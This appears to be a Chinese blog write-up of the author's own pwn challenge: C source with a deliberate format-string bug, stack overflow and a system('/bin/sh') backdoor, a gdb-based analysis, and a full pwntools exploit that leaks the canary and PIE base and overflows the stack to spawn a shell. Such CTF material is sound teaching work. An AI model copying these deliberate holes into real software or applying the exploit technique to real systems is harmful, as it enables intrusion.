一个关于格式化字符串和栈溢出的综合应用

一个自己写的pwn题,因为C太菜所以挂上去后没法做= =,索性发出来让大家本地编译着玩玩
废话不多说,直接进入正题

#include<stdio.h>
#include<stdlib.h>

void sysbin(){
        system("/bin/sh");
}
int main(){
        char buf[50];
        char ap[20];
        printf("Please input yor name:");
        scanf("%s",ap);
        printf(ap);
        printf(",Welcome! Please input your passwd:\n");
        read(0,&buf,100);
        printf("Error! Try again!!!");
        return 0;
}

编译:gcc *.c -o *

之后是流程:

编译后常规checksec一波
一个关于格式化字符串和栈溢出的综合应用
保护全开,再运行一下程序
一个关于格式化字符串和栈溢出的综合应用

最后再看一手plt,rodata和text,bss
(编者因为ida炸了因此只能先用objdump…)
一个关于格式化字符串和栈溢出的综合应用
.text,lea了IO +0x8作为参数
一个关于格式化字符串和栈溢出的综合应用
rodata,IO_stdin_userd + 0x8就是/bin/sh
一个关于格式化字符串和栈溢出的综合应用
bss为空
一个关于格式化字符串和栈溢出的综合应用
main,搭配rodata和运行结果可简单推算出流程

通过这一波分析,不难看出来在0x86a有个栈溢出,加上格式化字符串,想必是要用printf溢出canary值,再通过栈溢出执行后门函数
gdb调试一下
一个关于格式化字符串和栈溢出的综合应用一个关于格式化字符串和栈溢出的综合应用一个关于格式化字符串和栈溢出的综合应用
往下数数,很容易就知道了canary的位置(%17$p)
不过只知道canary显然是不够的,这个程序可还开着PIE呢
不过仔细看看栈信息
一个关于格式化字符串和栈溢出的综合应用
这不就是main地址么?
经过反复的调试,确认这个溢出点很稳定后,就可以开始写payload了:

import re
from pwn import *
ap = process('./apea')
#context.log_level='debug'	

main_sym = 0x80d
sysbin_sym = 0x7fa
ret_sym = 0x924
canval = "%17$p"
main_leak = "%23$p"
payload1 = main_leak + canval + "\xab" #添加\xab为正则匹配设立结尾
ap.sendline(payload1)
recv = ap.recv()

mainaddr = re.findall('0x.*0x',recv)[0][:-2]
canval = re.findall("0x.*\xab",recv)[0][len(mainaddr):-1]
mainaddr = int(mainaddr,16)
canval = int(canval,16)

base_addr = mainaddr - main_sym
sysbin_addr = sysbin_sym + base_addr
ret_addr = base_addr + ret_sym

print("sysbin_addr-> %s" % (hex(sysbin_addr)))
print("canary_val-> %s" % (hex(canval)))
payload2 = 'a'*(0x40-8) + p64(canval) + p64(0) + p64(ret_addr) + p64(sysbin_addr)
ap.sendline(payload2)
ap.interactive()

一个关于格式化字符串和栈溢出的综合应用
完成

上一篇:编译原理学习笔记 4.3 递归下降子程序法


下一篇:Julia ---- Symbol 是什么